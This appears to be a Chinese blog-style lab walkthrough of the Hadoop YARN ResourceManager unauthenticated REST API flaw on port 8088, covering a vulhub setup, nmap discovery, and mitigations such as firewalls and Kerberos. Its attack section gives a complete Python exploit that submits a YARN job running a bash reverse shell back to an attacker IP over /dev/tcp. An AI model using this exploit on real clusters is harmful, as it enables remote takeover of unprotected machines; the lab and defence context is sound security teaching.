Hadoop YARN ResourceManager未授权访问漏洞
文章目录一、介绍1.1 简介1.2 漏洞成因二、模拟环境三、信息收集四、攻击方法五、漏洞防御一、介绍1.1 简介 Hadoop作为一个分布式计算应用程序框架,种类功能繁多,各种组件安全问题会带来很大的攻击面。 Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出的资源管理框架,负责资
一、介绍
1.1 简介
Hadoop作为一个分布式计算应用程序框架,种类功能繁多,各种组件安全问题会带来很大的攻击面。
Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出的资源管理框架,负责资源管理和调度)
1.2 漏洞成因
负责对资源进行同一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口,攻击者无需认证即可通过REST API部署任务来执行任意命令,最终可完全控制集群中所有的机器。
二、模拟环境
- 受害者IP:192.168.226.140(ens33)
- 攻击者IP:192.168.1.102
》》使用vulhub靶场,docker启动
启动报错
》》ping 不通
解决方法:(更换源)
》》查看当前源
》》写入自定义仓库
“registry-mirrors”:[“https://docker.mirrors.ustc.edu.cn”]
》》保存文件,重启
问题解决
》》启动后访问192.168.226.140:8088即可访问到Hadoop YARN ResourceManager WebUI界面
三、信息收集
》》通过nmap扫描目标IP发现在8088端口上开放了Jetty(hadoop使用jetty作为servlet容器提供HTTP服务来访问web后台用于管理hdfs和mapreduce等)
》》浏览器访问web界面
四、攻击方法
》》nc本地监听等待shell连接
》》执行exp
#!/usr/bin/env python
import requests
target = 'http://192.168.226.140:8088/'
lhost = '192.168.226.134' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
五、漏洞防御
- 网络访问控制,使用防火墙对受影响服务端口访问源IP进行控制
- 如Hadoop环境仅对内网提供服务,不要将端口服务暴露在公网
- 如使用自建Hadoop,根据实际情况更新补丁(Hadoop在2.x版本以上提供了安全认证功能,加入了Kerberos认证机制)
更多推荐
所有评论(0)